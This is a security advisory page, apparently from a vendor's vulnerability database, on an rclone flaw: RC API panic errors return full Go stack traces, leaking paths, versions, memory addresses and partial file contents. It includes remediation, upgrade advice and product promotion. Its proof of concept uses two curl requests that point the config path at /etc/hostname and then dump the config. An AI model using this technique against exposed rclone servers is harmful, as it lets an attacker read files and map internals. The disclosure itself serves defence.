GHSA-gwfq-86j8-7qhv is a low-severity (CVSS 2.7) CWE-209 vulnerability in github.com/rclone/rclone. A fix is available for github.com/rclone/rclone — see the affected versions and patch details below.
rclone: Verbose Stack Trace Disclosure in RC API Error Responses
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gwfq-86j8-7qhv.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-gwfq-86j8-7qhv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,238 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/rclone/rcloneReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When an RC API call triggers a panic (recovered by the job runner), the full Go stack trace is included in the JSON error response. This leaks internal file paths, Go module versions, goroutine state, and memory addresses to the API caller.
Details
The panic recovery in fs/rc/jobs/job.go:110-115:
func (j *Job) run(ctx context.Context, fn rc.Func, in rc.Params) {
defer func() {
if r := recover(); r != nil {
j.mu.Lock()
j.EndTime = time.Now()
j.Error = fmt.Sprintf("panic received: %v \n%s", r, string(debug.Stack()))
// ...
}
}()
The full debug.Stack() output is placed into j.Error, which is then returned in the HTTP response JSON.
PoC
Trigger a parse error by setting config path to a non-INI file, then calling dump:
curl -s -X POST http://localhost:5572/config/setpath \
-H "Content-Type: application/json" \
-d '{"path":"/etc/hostname"}'
curl -s -X POST http://localhost:5572/config/dump
Response includes:
{
"error": "panic received: fatal error: Failed to load config file \"/etc/hostname\": could not parse line: ... \ngoroutine 9 [running]:\nruntime/debug.Stack()\n\truntime/debug/stack.go:26 +0x64\ngithub.com/rclone/rclone/fs/rc/jobs.(*Job).run.func1()\n\tgithub.com/rclone/rclone/fs/rc/jobs/job.go:112 +0x34\n...",
"status": 500
}
Disclosed information includes:
- Full filesystem paths (
github.com/rclone/rclone/fs/config/config.go:377) - Go module versions (
github.com/go-chi/chi/[email protected]) - Go runtime version (from binary)
- Goroutine IDs and states
- Memory addresses (ASLR leak)
- File contents (first unparseable line of the target file)
Tested and confirmed on rclone v1.74.4.
Impact
Information disclosure that aids exploitation of other vulnerabilities. Stack traces reveal internal architecture, dependency versions (useful for known-CVE targeting), and memory layout. The error message also leaks partial file contents (the first line that fails INI parsing), which can be used alongside the arbitrary file read finding as a complementary file read primitive for non-INI files.
Affected Versions
All versions with RC API support through at least v1.74.4.
Remediation
Return a generic error message to the API caller. Log the full stack trace server-side only. Strip debug.Stack() from HTTP responses.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/rclone/rclone | all versions | 1.75.0go get github.com/rclone/rclone@v1.75.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/rclone/rclone, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/rclone/rclone to 1.75.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gwfq-86j8-7qhv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-gwfq-86j8-7qhv can be triaged on real exposure rather than presence alone.
Tailored to GHSA-gwfq-86j8-7qhv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gwfq-86j8-7qhv in your dependencies?
O3 Security finds GHSA-gwfq-86j8-7qhv across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.